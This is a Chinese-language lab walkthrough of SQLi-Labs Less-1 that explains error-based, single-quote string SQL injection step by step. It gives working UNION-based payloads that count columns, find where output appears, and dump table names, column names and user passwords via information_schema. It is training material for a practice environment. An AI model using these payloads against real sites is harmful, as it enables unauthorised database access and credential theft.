【SQLi-Labs】Less-1 Error based - Single quotes - String

第一课:基于报错的以单引号包裹的字符型注入

1. 根据黄字提示,传入参数ID

http://10.1.2.210:8000/Less-1/?id=1

 执行结果如下

 2.根据题目提示,注入点基于报错,由单引号包裹,并且是字符型注入,判断源码大概为:

select * from users where id = '$_GET['id']';

3.构造查询找到回显数量及位置

?id=1' order by 1 --+
?id=1' order by 2 --+
?id=1' order by 3 --+
?id=1' order by 4 --+ (此处会报错,因此回显数量只有3个)
?id=1' union select 1,2,3 --+(用此查询找到回显位置)

4.结果没有变化,猜测原因是开发者使用 LIMIT 0,1 对回显的行数进行了限制,因此将构造的查询改为:

?id=-1' union select 1,2,3 --+

这样做使得前面的查询没有结果,从而显示后面的查询结果。 

5.回显位置找到:

tips:

此时执行的SQL大概为

select * from users where id ='1' union select 1,2,3 --+'

此处使用 --+(空格减减加)注释掉最后面的单引号从而避免报错使构造语句能够成功运行,此外还有#号 注释法。

①在url中,#号用来指导浏览器动作(例如锚点)所以被浏览器转义,故将#号改成url的编码%23即可起到一样的注释作用

②--是SQL语法中的单行注释符,-- ' 会把最后面的单引号注释掉,注意这里--和 ' 中间有一个空格分隔,如果没有空格分隔则--'不属于有效的SQL语句,因--后面的空格会被浏览器过滤掉,所以使用+号代替空格(写为 --+),当然也可以使用url编码的空格即%20代替空格进行注释(写为 --%20)

 6.有了上面的基础,我们可以进一步构造查询获取数据库的更多信息(此处注意要将所有回显位置填满否则会报错)

爆破表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆破字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

爆破数据

?id=-1' union select id,user,password from users where id='3' --+

至此,第一课的实验结束。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值